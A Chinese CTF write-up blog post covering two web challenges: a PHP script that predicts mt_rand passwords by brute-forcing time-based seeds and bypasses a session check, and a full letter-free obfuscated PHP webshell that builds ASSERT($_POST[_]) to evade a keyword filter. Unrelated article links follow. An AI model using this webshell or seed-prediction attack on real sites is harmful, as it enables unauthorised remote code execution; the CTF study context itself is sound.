近期的一些小比赛writeup

news/2024/5/20 0:14:50 标签: ctf

0x01 伪随机数

index.php.bak下载源码
这里写图片描述
对比用户输入的pwd和伪随机生成的pwd,再对比login和session产生的login,如果都满足则得到答案。
我们可以看到,这里的userLogin是在验证后设置的,因此login置空即可绕过
对于pwd,使用了mt_rand,而在同一个进程中,对于同一个seed,每次通过mt_rand()生成的值都是固定的,因此我们可以通过还原程序逻辑,计算出对应的mt_rand()产生的伪随机数的值进行对目标结果的爆破。
构造payload如下

<?php function create_password($pw_length = 10) { $randpwd = ""; for ($i = 0; $i < $pw_length; $i++) { $randpwd .= chr(mt_rand(33, 126)); } return $randpwd; } session_start(); for($i=time()-10;$i<time()+10;$i++) { mt_srand($i); $pwd=create_password(); $do=file_get_contents("对应网址/index.php?pwd=$pwd&login="); echo $do.'<br>'; } ?>

最终得到flag
这里写图片描述

0x02 hxb2017

源码
这里写图片描述
审计:content 传入内容为 php 文件内容,因此如果我们能传入一句话的内容,即可 getshell,问题就在于普通的一句话木马会被过滤,因此我们需要想办法绕过这个关键字 WAF。
记得之前看到过p神博客的一篇“不包含数字和字母的webshell”文章。


文章的思路主要是:将非字母、数字的字符经过各种变换,最后构造出a-z中任意一个字符,再利用PHP允许动态函数执行的特点,拼接处我们想要的一句话木马


又因为php有一个这样的特性


在处理字符变量的算术运算是,PHP沿袭了Perl的习惯,而非C得。例如,在Perl中 a=Z; a++;将把$a变成‘AA’,而在C中,a=’Z’; a++;将把a变成‘[‘。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z和A-Z)。++/- -其他字符变量则无效,原字符串没有变化。


因此我们利用这里数组Array具有一个大写字母A,一个小写a可以构造出a-z和A-Z的所有字母。
再次研究源码,我们发现没有过滤掉_(下划线)和括号’(’’)’
因此我们执行的 payload 为 ASSERT($_POST[_])
对应的绕过 payload 为

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

这里写图片描述
成功getshell
这里写图片描述


http://www.niftyadmin.cn/n/1352511.html

相关文章

OneNote2013快捷键

0x00 将微软官网的帮助手册搬运过来以便查看 一、记录笔记和设置笔记格式 键入和编辑笔记 操作 按键 打开一个新的 OneNote 窗口。 CtrlM 打开一个小的 OneNote 窗口以创建便笺。 CtrlShiftM 或WindowsAltN 固定 OneNote 窗口。 CtrlAltD 撤消最后一个操作。 Ctrl…

将word文档转换为图片格式的PDF

0x00 前言 编写一篇文档后&#xff0c;往往会通过转为pdf版本后发布来避免在不同环境下格式出现混乱的情况。 但这样操作转出pdf文档可以通过普通的pdf阅读器进行文本的抓取&#xff0c;不能达到我们想要保护知识产权的想法。 因此在这里推出一篇如何将word文档转换为图片格…

科技楼上机远程连接放在实验室的计算机

0x00 前言 经过不懈的研究和被用win7&#xff0c;win8&#xff0c;win10系统的同学嘲笑过之后&#xff0c;终于实现了上机远程自己的计算机&#xff0c;从此摆脱了背电脑侠的痛苦人生。 0x01 网络拓扑和相关信息 1.pc操作系统版本&#xff1a;win8.1 2.上机的地方&#xff…

解决mysql编码问题

0x00 前言 好吧这个问题确实很烦&#xff0c;目的解决中文乱码问题 0x01 mysql配置 1.找到my.ini 2.找到mysql 和 mysqld 两项 3.在mysql下添加[default-character-set utf8] 4.在mysqld下添加[character_set_server utf8] >修改mysql默认字符集 5.这时候使用 …

mysql ERROR #1442 解决方法

0x00 问题描述 在一个计算本月薪资的表中&#xff0c;我想要使得当基本工资&#xff0c;补贴出现变动时&#xff0c;自动更新本月总薪资的值 一开始我的操作是 CREATE DEFINERrootlocalhost TRIGGER 修改时总工资 AFTER UPDATE ON payment FOR EACH ROW UPDATE payment S…

软件体系结构复习指南

前言一软件工程定义集合二软件工程常识集合三软件工程理念集合四软件工程定律集合五软件工程法则集合六软件工程最佳实践集合七软件工程英文知识点索引 前言 作为一个热心学长&#xff08;好的其实是要凑这个月的4篇文章了&#xff09;&#xff0c;发一下李大牛同志的课程复习…

MYSQL8.0以上版本正确修改ROOT密码

原文地址&#xff1a;https://blog.csdn.net/yi247630676/article/details/80352655 用于本人记录&#xff0c;总结了以下关键步骤&#xff0c;觉得不详细的看上方 1.执行命令 vim /etc/my.cnf 【找到你主机的my.cnf打开即可&#xff0c;此处路径供参考】 【mysql】 添加sk…

hexo新旧电脑迁移教程

前言 最近买了新电脑&#xff0c;做了一下将hexo从老电脑迁移到新电脑的操作&#xff0c;考虑到以后肯定还有新电脑&#xff0c;特此记录 hexo环境说明 简单来说&#xff0c;hexo在本地计算机&#xff0c;通过git将Public文件夹push到vps的服务器上。 迁移步骤 1.将老电脑上…